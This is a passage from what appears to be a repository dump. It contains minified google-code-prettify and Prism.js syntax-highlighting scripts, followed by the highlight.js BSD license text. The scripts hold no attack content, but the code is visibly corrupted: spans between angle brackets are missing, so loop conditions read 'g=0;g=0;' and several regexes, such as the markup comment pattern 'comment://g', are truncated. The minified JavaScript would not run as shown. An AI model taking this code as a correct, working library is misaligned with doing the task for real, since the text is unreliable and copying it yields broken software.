c=b.substring(0,d.index);a.nodeValue=c;(b=b.substring(d.index+d[0].length))&&a.parentNode.insertBefore(s.createTextNode(b),a.nextSibling);h(a);c||a.parentNode.removeChild(a)}}}}function h(a){function b(a,d){var e=d?a.cloneNode(!1):a,f=a.parentNode;if(f){var f=b(f,1),g=a.nextSibling;f.appendChild(e);for(var h=g;h;h=g)g=h.nextSibling,f.appendChild(h)}return e} 14 | for(;!a.nextSibling;)if(a=a.parentNode,!a)return;for(var a=b(a.nextSibling,0),e;(e=a.parentNode)&&e.nodeType===1;)a=e;d.push(a)}var k=/(?:^|\s)nocode(?:\s|$)/,t=/\r\n?|\n/,s=a.ownerDocument,l;a.currentStyle?l=a.currentStyle.whiteSpace:window.getComputedStyle&&(l=s.defaultView.getComputedStyle(a,q).getPropertyValue("white-space"));var p=l&&"pre"===l.substring(0,3);for(l=s.createElement("LI");a.firstChild;)l.appendChild(a.firstChild);for(var d=[l],g=0;g=0;){var h=m[e];A.hasOwnProperty(h)?window.console&&console.warn("cannot override language handler %s",h):A[h]=a}}function C(a,m){if(!a||!A.hasOwnProperty(a))a=/^\s*=o&&(h+=2);e>=c&&(a+=2)}}catch(w){"console"in window&&console.log(w&&w.stack?w.stack:w)}}var v=["break,continue,do,else,for,if,return,while"],w=[[v,"auto,case,char,const,default,double,enum,extern,float,goto,int,long,register,short,signed,sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"], 18 | "catch,class,delete,false,import,new,operator,private,protected,public,this,throw,true,try,typeof"],F=[w,"alignof,align_union,asm,axiom,bool,concept,concept_map,const_cast,constexpr,decltype,dynamic_cast,explicit,export,friend,inline,late_check,mutable,namespace,nullptr,reinterpret_cast,static_assert,static_cast,template,typeid,typename,using,virtual,where"],G=[w,"abstract,boolean,byte,extends,final,finally,implements,import,instanceof,null,native,package,strictfp,super,synchronized,throws,transient"], 19 | H=[G,"as,base,by,checked,decimal,delegate,descending,dynamic,event,fixed,foreach,from,group,implicit,in,interface,internal,into,is,lock,object,out,override,orderby,params,partial,readonly,ref,sbyte,sealed,stackalloc,string,select,uint,ulong,unchecked,unsafe,ushort,var"],w=[w,"debugger,eval,export,function,get,null,set,undefined,var,with,Infinity,NaN"],I=[v,"and,as,assert,class,def,del,elif,except,exec,finally,from,global,import,in,is,lambda,nonlocal,not,or,pass,print,raise,try,with,yield,False,True,None"], 20 | J=[v,"alias,and,begin,case,class,def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo,rescue,retry,self,super,then,true,undef,unless,until,when,yield,BEGIN,END"],v=[v,"case,done,elif,esac,eval,fi,function,in,local,set,then,until"],K=/^(DIR|FILE|vector|(de|priority_)?queue|list|stack|(const_)?iterator|(multi)?(set|map)|bitset|u?(int|float)\d*)/,N=/\S/,O=u({keywords:[F,H,w,"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END"+ 21 | I,J,v],hashComments:!0,cStyleComments:!0,multiLineStrings:!0,regexLiterals:!0}),A={};k(O,["default-code"]);k(x([],[["pln",/^[^]*(?:>|$)/],["com",/^<\!--[\S\s]*?(?:--\>|$)/],["lang-",/^<\?([\S\s]+?)(?:\?>|$)/],["lang-",/^<%([\S\s]+?)(?:%>|$)/],["pun",/^(?:<[%?]|[%?]>)/],["lang-",/^]*>([\S\s]+?)<\/xmp\b[^>]*>/i],["lang-js",/^]*>([\S\s]*?)(<\/script\b[^>]*>)/i],["lang-css",/^]*>([\S\s]*?)(<\/style\b[^>]*>)/i],["lang-in.tag",/^(<\/?[a-z][^<>]*>)/i]]), 22 | ["default-markup","htm","html","mxml","xhtml","xml","xsl"]);k(x([["pln",/^\s+/,q," \t\r\n"],["atv",/^(?:"[^"]*"?|'[^']*'?)/,q,"\"'"]],[["tag",/^^<\/?[a-z](?:[\w-.:]*\w)?|\/?>$/i],["atn",/^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],["lang-uq.val",/^=\s*([^\s"'>]*(?:[^\s"'/>]|\/(?=\s)))/],["pun",/^[/<->]+/],["lang-js",/^on\w+\s*=\s*"([^"]+)"/i],["lang-js",/^on\w+\s*=\s*'([^']+)'/i],["lang-js",/^on\w+\s*=\s*([^\s"'>]+)/i],["lang-css",/^style\s*=\s*"([^"]+)"/i],["lang-css",/^style\s*=\s*'([^']+)'/i],["lang-css", 23 | /^style\s*=\s*([^\s"'>]+)/i]]),["in.tag"]);k(x([],[["atv",/^[\S\s]+/]]),["uq.val"]);k(u({keywords:F,hashComments:!0,cStyleComments:!0,types:K}),["c","cc","cpp","cxx","cyc","m"]);k(u({keywords:"null,true,false"}),["json"]);k(u({keywords:H,hashComments:!0,cStyleComments:!0,verbatimStrings:!0,types:K}),["cs"]);k(u({keywords:G,cStyleComments:!0}),["java"]);k(u({keywords:v,hashComments:!0,multiLineStrings:!0}),["bsh","csh","sh"]);k(u({keywords:I,hashComments:!0,multiLineStrings:!0,tripleQuotedStrings:!0}), 24 | ["cv","py"]);k(u({keywords:"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END",hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["perl","pl","pm"]);k(u({keywords:J,hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["rb"]);k(u({keywords:w,cStyleComments:!0,regexLiterals:!0}),["js"]);k(u({keywords:"all,and,by,catch,class,else,extends,false,finally,for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then,true,try,unless,until,when,while,yes", 25 | hashComments:3,cStyleComments:!0,multilineStrings:!0,tripleQuotedStrings:!0,regexLiterals:!0}),["coffee"]);k(x([],[["str",/^[\S\s]+/]]),["regex"]);window.prettyPrintOne=function(a,m,e){var h=document.createElement("PRE");h.innerHTML=a;e&&D(h,e);E({g:m,i:e,h:h});return h.innerHTML};window.prettyPrint=function(a){function m(){for(var e=window.PR_SHOULD_USE_CONTINUATION?l.now()+250:Infinity;p=0){var k=k.match(g),f,b;if(b= 26 | !k){b=n;for(var o=void 0,c=b.firstChild;c;c=c.nextSibling)var i=c.nodeType,o=i===1?o?b:c:i===3?N.test(c.nodeValue)?b:o:o;b=(f=o===b?void 0:o)&&"CODE"===f.tagName}b&&(k=f.className.match(g));k&&(k=k[1]);b=!1;for(o=n.parentNode;o;o=o.parentNode)if((o.tagName==="pre"||o.tagName==="code"||o.tagName==="xmp")&&o.className&&o.className.indexOf("prettyprint")>=0){b=!0;break}b||((b=(b=n.className.match(/\blinenums\b(?::(\d+))?/))?b[1]&&b[1].length?+b[1]:!0:!1)&&D(n,b),d={g:k,h:n,i:b},E(d))}}pe.length)break e;if(!(d instanceof a)){g.lastIndex=0;var m=g.exec(d);if(m){c&&(f=m[1].length);var y=m.index-1+f,m=m[0].slice(f),v=m.length,k=y+v,b=d.slice(0,y+1),w=d.slice(k+1),O=[p,1];b&&O.push(b);var N=new a(l,u?t.tokenize(m,u):m,h);O.push(N),w&&O.push(w),Array.prototype.splice.apply(r,O)}}}}}return r},hooks:{all:{},add:function(e,n){var a=t.hooks.all;a[e]=a[e]||[],a[e].push(n)},run:function(e,n){var a=t.hooks.all[e];if(a&&a.length)for(var r,i=0;r=a[i++];)r(n)}}},n=t.Token=function(e,t,n){this.type=e,this.content=t,this.alias=n};if(n.stringify=function(e,a,r){if("string"==typeof e)return e;if("[object Array]"==Object.prototype.toString.call(e))return e.map(function(t){return n.stringify(t,a,e)}).join("");var i={type:e.type,content:n.stringify(e.content,a,r),tag:"span",classes:["token",e.type],attributes:{},language:a,parent:r};if("comment"==i.type&&(i.attributes.spellcheck="true"),e.alias){var l="Array"===t.util.type(e.alias)?e.alias:[e.alias];Array.prototype.push.apply(i.classes,l)}t.hooks.run("wrap",i);var s="";for(var o in i.attributes)s+=o+'="'+(i.attributes[o]||"")+'"';return"<"+i.tag+' class="'+i.classes.join(" ")+'" '+s+">"+i.content+""},!self.document)return self.addEventListener?(self.addEventListener("message",function(e){var n=JSON.parse(e.data),a=n.language,r=n.code;self.postMessage(JSON.stringify(t.util.encode(t.tokenize(r,t.languages[a])))),self.close()},!1),self.Prism):self.Prism;var a=document.getElementsByTagName("script");return a=a[a.length-1],a&&(t.filename=a.src,document.addEventListener&&!a.hasAttribute("data-manual")&&document.addEventListener("DOMContentLoaded",t.highlightAll)),self.Prism}();"undefined"!=typeof module&&module.exports&&(module.exports=Prism);; 3 | Prism.languages.markup={comment://g,prolog:/<\?.+?\?>/,doctype://,cdata://i,tag:{pattern:/<\/?[\w:-]+\s*(?:\s+[\w:-]+(?:=(?:("|')(\\?[\w\W])*?\1|[^\s'">=]+))?\s*)*\/?>/gi,inside:{tag:{pattern:/^<\/?[\w:-]+/i,inside:{punctuation:/^<\/?/,namespace:/^[\w-]+?:/}},"attr-value":{pattern:/=(?:('|")[\w\W]*?(\1)|[^\s>]+)/gi,inside:{punctuation:/=|>|"/g}},punctuation:/\/?>/g,"attr-name":{pattern:/[\w:-]+/g,inside:{namespace:/^[\w-]+?:/}}}},entity:/\&#?[\da-z]{1,8};/gi},Prism.hooks.add("wrap",function(t){"entity"===t.type&&(t.attributes.title=t.content.replace(/&/,"&"))});; 4 | Prism.languages.css={comment:/\/\*[\w\W]*?\*\//g,atrule:{pattern:/@[\w-]+?.*?(;|(?=\s*{))/gi,inside:{punctuation:/[;:]/g}},url:/url\((["']?).*?\1\)/gi,selector:/[^\{\}\s][^\{\};]*(?=\s*\{)/g,property:/(\b|\B)[\w-]+(?=\s*:)/gi,string:/("|')(\\?.)*?\1/g,important:/\B!important\b/gi,punctuation:/[\{\};:]/g,"function":/[-a-z0-9]+(?=\()/gi},Prism.languages.markup&&(Prism.languages.insertBefore("markup","tag",{style:{pattern:/[\w\W]*?<\/style>/gi,inside:{tag:{pattern:/|<\/style>/gi,inside:Prism.languages.markup.tag.inside},rest:Prism.languages.css},alias:"language-css"}}),Prism.languages.insertBefore("inside","attr-value",{"style-attr":{pattern:/\s*style=("|').+?\1/gi,inside:{"attr-name":{pattern:/^\s*style/gi,inside:Prism.languages.markup.tag.inside},punctuation:/^\s*=\s*['"]|['"]\s*$/,"attr-value":{pattern:/.+/gi,inside:Prism.languages.css}},alias:"language-css"}},Prism.languages.markup.tag));; 5 | Prism.languages.clike={comment:[{pattern:/(^|[^\\])\/\*[\w\W]*?\*\//g,lookbehind:!0},{pattern:/(^|[^\\:])\/\/.*?(\r?\n|$)/g,lookbehind:!0}],string:/("|')(\\?.)*?\1/g,"class-name":{pattern:/((?:(?:class|interface|extends|implements|trait|instanceof|new)\s+)|(?:catch\s+\())[a-z0-9_\.\\]+/gi,lookbehind:!0,inside:{punctuation:/(\.|\\)/}},keyword:/\b(if|else|while|do|for|return|in|instanceof|function|new|try|throw|catch|finally|null|break|continue)\b/g,"boolean":/\b(true|false)\b/g,"function":{pattern:/[a-z0-9_]+\(/gi,inside:{punctuation:/\(/}},number:/\b-?(0x[\dA-Fa-f]+|\d*\.?\d+([Ee]-?\d+)?)\b/g,operator:/[-+]{1,2}|!|<=?|>=?|={1,3}|&{1,2}|\|?\||\?|\*|\/|\~|\^|\%/g,ignore:/&(lt|gt|amp);/gi,punctuation:/[{}[\];(),.:]/g};; 6 | Prism.languages.javascript=Prism.languages.extend("clike",{keyword:/\b(break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|false|finally|for|function|get|if|implements|import|in|instanceof|interface|let|new|null|package|private|protected|public|return|set|static|super|switch|this|throw|true|try|typeof|var|void|while|with|yield)\b/g,number:/\b-?(0x[\dA-Fa-f]+|\d*\.?\d+([Ee][+-]?\d+)?|NaN|-?Infinity)\b/g,"function":/(?!\d)[a-z0-9_$]+(?=\()/gi}),Prism.languages.insertBefore("javascript","keyword",{regex:{pattern:/(^|[^/])\/(?!\/)(\[.+?]|\\.|[^/\r\n])+\/[gim]{0,3}(?=\s*($|[\r\n,.;})]))/g,lookbehind:!0}}),Prism.languages.markup&&Prism.languages.insertBefore("markup","tag",{script:{pattern:/[\w\W]*?<\/script>/gi,inside:{tag:{pattern:/|<\/script>/gi,inside:Prism.languages.markup.tag.inside},rest:Prism.languages.javascript},alias:"language-javascript"}});; 7 | Prism.languages.scss=Prism.languages.extend("css",{comment:{pattern:/(^|[^\\])(\/\*[\w\W]*?\*\/|\/\/.*?(\r?\n|$))/g,lookbehind:!0},atrule:/@[\w-]+(?=\s+(\(|\{|;))/gi,url:/([-a-z]+-)*url(?=\()/gi,selector:/([^@;\{\}\(\)]?([^@;\{\}\(\)]|&|\#\{\$[-_\w]+\})+)(?=\s*\{(\}|\s|[^\}]+(:|\{)[^\}]+))/gm}),Prism.languages.insertBefore("scss","atrule",{keyword:/@(if|else if|else|for|each|while|import|extend|debug|warn|mixin|include|function|return|content)|(?=@for\s+\$[-_\w]+\s)+from/i}),Prism.languages.insertBefore("scss","property",{variable:/((\$[-_\w]+)|(#\{\$[-_\w]+\}))/i}),Prism.languages.insertBefore("scss","ignore",{placeholder:/%[-_\w]+/i,statement:/\B!(default|optional)\b/gi,"boolean":/\b(true|false)\b/g,"null":/\b(null)\b/g,operator:/\s+([-+]{1,2}|={1,2}|!=|\|?\||\?|\*|\/|\%)\s+/g});; 8 | Prism.languages.bash=Prism.languages.extend("clike",{comment:{pattern:/(^|[^"{\\])(#.*?(\r?\n|$))/g,lookbehind:!0},string:{pattern:/("|')(\\?[\s\S])*?\1/g,inside:{property:/\$([a-zA-Z0-9_#\?\-\*!@]+|\{[^\}]+\})/g}},keyword:/\b(if|then|else|elif|fi|for|break|continue|while|in|case|function|select|do|done|until|echo|exit|return|set|declare)\b/g}),Prism.languages.insertBefore("bash","keyword",{property:/\$([a-zA-Z0-9_#\?\-\*!@]+|\{[^}]+\})/g}),Prism.languages.insertBefore("bash","comment",{important:/(^#!\s*\/bin\/bash)|(^#!\s*\/bin\/sh)/g});; 9 | -------------------------------------------------------------------------------- /site/license/highlight.js/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2006, Ivan Sagalaev 2 | All rights reserved. 3 | Redistribution and use in source and binary forms, with or without 4 | modification, are permitted provided that the following conditions are met: 5 | 6 | * Redistributions of source code must retain the above copyright 7 | notice, this list of conditions and the following disclaimer. 8 | * Redistributions in binary form must reproduce the above copyright 9 | notice, this list of conditions and the following disclaimer in the 10 | documentation and/or other materials provided with the distribution. 11 | * Neither the name of highlight.js nor the names of its contributors 12 | may be used to endorse or promote products derived from this software 13 | without specific prior written permission. 14 | 15 | THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY 16 | EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 17 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 18 | DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY 19 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 20 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 21 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 22 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 23 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 24 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 25 | --------------------------------------------------------------------------------